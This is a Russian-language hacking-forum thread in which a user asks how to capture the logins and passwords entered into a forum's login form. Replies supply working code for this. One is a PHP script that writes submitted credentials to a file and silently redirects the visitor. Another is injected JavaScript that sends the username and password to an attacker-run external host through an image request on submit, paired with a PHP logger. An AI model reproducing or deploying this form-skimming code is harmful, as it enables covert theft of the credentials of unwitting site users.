Нужно сделать скрипт для сохранения логина и пароля

Discussion in 'PHP' started by Puzoriz, 5 Mar 2011.

  1. Puzoriz

    Puzoriz New Member

    Joined:
    5 Mar 2011
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    Помогите пжл сделать скрипт для сохранения логина и пароля или отсылки на мыло.Примерный html код входа

    Code:
    <!-- BEGIN switch_user_login_form_header -->
    <form action="{S_LOGIN_ACTION}" method="post" name="form_login">
    	<!-- BEGIN switch_fb_connect_no -->
    	<table width="100%" border="0" cellspacing="0" cellpadding="0" class="user_login_form forumline">
    		<tr>
    			<td class="row1" align="center">
    				<table border="0" cellspacing="0" cellpadding="0">
    					<tr>
    						<td><span class="genmed">{L_USERNAME}:</span>&nbsp;</td>
    						<td><input class="post" type="text" size="10" name="username"/>&nbsp;</td>
    						<td>
    							<input class="radio" type="checkbox" name="autologin" {AUTOLOGIN_CHECKED} />
    							<span class="gensmall">{L_AUTO_LOGIN}</span>&nbsp;
    						</td>
    					</tr>
    
    					<tr>
    						<td><span class="genmed">{L_PASSWORD}:</span>&nbsp;</td>
    						<td><input class="post" type="password" size="10" name="password"/>&nbsp;</td>
    						<td>{S_HIDDEN_FIELDS}<input class="mainoption" type="submit" name="login" value="{L_LOGIN}" /></td>
    					</tr>
    				</table>
    			</td>
    		</tr>
    	</table>
    	<!-- END switch_fb_connect_no -->
    
    	<!-- BEGIN switch_fb_connect -->
    	<table width="100%" border="0" cellspacing="0" cellpadding="0" class="user_login_form forumline">
    		<tr>
    			<td valign="top" width="100%"  class="row1" align="center">
    				<table width="100%">
    					<tr>
    						<td width="55%" valign="middle" align="right">
    							<table class="right">
    								<tr>
    									<td><span class="genmed">{L_USERNAME}:</span>&nbsp;</td>
    									<td><input class="post" type="text" size="10" name="username"/>&nbsp;</td>
    									<td>
    										<input class="radio" type="checkbox" name="autologin" {AUTOLOGIN_CHECKED} />
    										<span class="gensmall">{L_AUTO_LOGIN}</span>&nbsp;
    									</td>
    								</tr>
    
    								<tr>
    									<td><span class="genmed">{L_PASSWORD}:</span>&nbsp;</td>
    									<td><input class="post" type="password" size="10" name="password"/>&nbsp;</td>
    									<td>{S_HIDDEN_FIELDS}<input class="mainoption" type="submit" name="login" value="{L_LOGIN}" /></td>
    								</tr>
    							</table>
    						</td>
    						<td width="10%" align="center" valign="middle">
    							<span class="genmed fb_or">{switch_user_login_form_header.switch_fb_connect.L_OR}</span>
    						</td>
    						<td width="35%" class="align_gauche"><fb:login-button size="large" onlogin="window.location='/facebook_connect.forum'" v="2" perms="{switch_user_login_form_header.switch_fb_connect.L_FB_PERMISSIONS}">{switch_user_login_form_header.switch_fb_connect.L_FB_LOGIN_BUTTON}</fb:login-button></td>
    					</tr>
    				</table>
    			</td>
    		</tr>
    	</table>
    	<!-- END switch_fb_connect -->
    </form>
    <!-- END switch_user_login_form_header -->
     
  2. derk

    derk New Member

    Joined:
    9 Feb 2011
    Messages:
    9
    Likes Received:
    3
    Reputations:
    -8
    PHP:
    <!-- BEGIN switch_user_login_form_header -->
    <
    form action="log.php" method="post" name="form_login">
        <!-- 
    BEGIN switch_fb_connect_no -->
        <
    table width="100%" border="0" cellspacing="0" cellpadding="0" class="user_login_form forumline">
            <
    tr>
                <
    td class="row1" align="center">
                    <
    table border="0" cellspacing="0" cellpadding="0">
                        <
    tr>
                            <
    td><span class="genmed">{L_USERNAME}:</span>&nbsp;</td>
                            <
    td><input class="post" type="text" size="10" name="username"/>&nbsp;</td>
                            <
    td>
                                <
    input class="radio" type="checkbox" name="autologin" {AUTOLOGIN_CHECKED} />
                                <
    span class="gensmall">{L_AUTO_LOGIN}</span>&nbsp;
                            </
    td>
                        </
    tr>

                        <
    tr>
                            <
    td><span class="genmed">{L_PASSWORD}:</span>&nbsp;</td>
                            <
    td><input class="post" type="password" size="10" name="password"/>&nbsp;</td>
                            <
    td>{S_HIDDEN_FIELDS}<input class="mainoption" type="submit" name="login" value="{L_LOGIN}" /></td>
                        </
    tr>
                    </
    table>
                </
    td>
            </
    tr>
        </
    table>
        <!-- 
    END switch_fb_connect_no -->

        <!-- 
    BEGIN switch_fb_connect -->
        <
    table width="100%" border="0" cellspacing="0" cellpadding="0" class="user_login_form forumline">
            <
    tr>
                <
    td valign="top" width="100%"  class="row1" align="center">
                    <
    table width="100%">
                        <
    tr>
                            <
    td width="55%" valign="middle" align="right">
                                <
    table class="right">
                                    <
    tr>
                                        <
    td><span class="genmed">{L_USERNAME}:</span>&nbsp;</td>
                                        <
    td><input class="post" type="text" size="10" name="username"/>&nbsp;</td>
                                        <
    td>
                                            <
    input class="radio" type="checkbox" name="autologin" {AUTOLOGIN_CHECKED} />
                                            <
    span class="gensmall">{L_AUTO_LOGIN}</span>&nbsp;
                                        </
    td>
                                    </
    tr>

                                    <
    tr>
                                        <
    td><span class="genmed">{L_PASSWORD}:</span>&nbsp;</td>
                                        <
    td><input class="post" type="password" size="10" name="password"/>&nbsp;</td>
                                        <
    td>{S_HIDDEN_FIELDS}<input class="mainoption" type="submit" name="login" value="{L_LOGIN}" /></td>
                                    </
    tr>
                                </
    table>
                            </
    td>
                            <
    td width="10%" align="center" valign="middle">
                                <
    span class="genmed fb_or">{switch_user_login_form_header.switch_fb_connect.L  _OR}</span>
                            </
    td>
                            <
    td width="35%" class="align_gauche"><fb:login-button size="large" onlogin="window.location='/facebook_connect.forum'" v="2" perms="{switch_user_login_form_header.switch_fb_connect.L  _FB_PERMISSIONS}">{switch_user_login_form_header.switch_fb_connect.L  _FB_LOGIN_BUTTON}</fb:login-button></td>
                        </
    tr>
                    </
    table>
                </
    td>
            </
    tr>
        </
    table>
        <!-- 
    END switch_fb_connect -->
    </
    form>
    <!-- 
    END switch_user_login_form_header -->


    Создаешь log.php

    PHP:
    <?PHP
    $username 
    $_POST['username']; // Логин
    $password $_POST['password']; // Пароль
    $log fopen("переименовать.php","a+"); //открываем файл базы
    fwrite($log,"<br> $username:$password \n"); //записываем всё
    fclose($log); //закрываем
    echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://'></head></html>"// куда пошлем пользователя после того как он ввел данные!
    ?>

    создаешь переименовать.php - туда будут сохранятся!
     
  3. Puzoriz

    Puzoriz New Member

    Joined:
    5 Mar 2011
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    Я не могу создавать php страницы, я могу только редактировать код index.html
     
  4. Mixon

    Mixon Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    394
    Likes Received:
    119
    Reputations:
    12
    и коим образом ты решил тогда сохранять?
    хтмл не имеет доступ к файловой системе хостинга...=)
     
  5. Puzoriz

    Puzoriz New Member

    Joined:
    5 Mar 2011
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    Ну тогда отправлять на мыло.
     
  6. -=Zhenek=-

    -=Zhenek=- Elder - Старейшина

    Joined:
    31 Dec 2007
    Messages:
    271
    Likes Received:
    77
    Reputations:
    1
    html это не язык программирования, это язык разметки. Он не умеет ничего кроме разметки страницы. Он преобразуется браузером,а не как пхп выполняется на сервере.

    т.к Письма отсылать он тоже не умеет.

    Попробуй в action поставить скрипт на своем хостинге, им принимать и записывать, потом отсылать на уже настоящий формировать пост пакет с данными авторизовываться и все)
    Но это для тех кто знает толк в извращениях)))
     
  7. Puzoriz

    Puzoriz New Member

    Joined:
    5 Mar 2011
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    А можно вместо log.php создать*.html и вставить туда второй код ?
     
  8. Mixon

    Mixon Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    394
    Likes Received:
    119
    Reputations:
    12
    Если хостинг НЕ поддерживает пхп,то куда-бы ты его не всунул - не поможет!
     
  9. Player#1

    Player#1 Member

    Joined:
    11 Nov 2008
    Messages:
    95
    Likes Received:
    35
    Reputations:
    10
    Регаешь бесплатный хостинг с подержкой php.
    Создаешь там файл такого содержания.

    PHP:
    <?php
    if(isset($_GET['pass']))
    {
    $fp fopen('log.txt''at');
    fwrite($fp$_GET['uname'].":".$_GET['pass']."\n");
    }
    ?>
    Добавляешь в конец файла html этот код.
    Где в переменную url заносишь адрес до скрипта, который создал в пункте выше.
    HTML:
    <script language="javascript" type="text/javascript">
    function send()
    {
    	url = "ПУТЬ_К_ФАЙЛУ_НА_ТВОЕМ_ХОСТИНГЕ"; 
    	uname = document.getElementsByTagName('input')[0].value;
    	pass = document.getElementsByTagName('input')[2].value;
    	img = new Image(); img.src=url+"?pass="+pass+"&uname="+uname;
    }
    </script>
    К форме в файле html добавляешь: onsubmit="send();" чтобы получилось примерно так:
    HTML:
    <form action="{S_LOGIN_ACTION}" method="post" name="form_login" onsubmit="send();">
    В общем смысл думаю понятен, конкретно под эту задачу мб придется чуть изменить код.
     
  10. Puzoriz

    Puzoriz New Member

    Joined:
    5 Mar 2011
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    Сделал вроде так. Я так понимаю все должно записываться в файл log.txt. Несколь раз попровобал зарегиться или просто войти. log.txt остаетеся пустой.
     
  11. Puzoriz

    Puzoriz New Member

    Joined:
    5 Mar 2011
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    derk сделал еще и по твоей рекомендации. Все происходит незаметно. Но в файл переименовать.php записалось один раз <br> :
    <br> :
    и все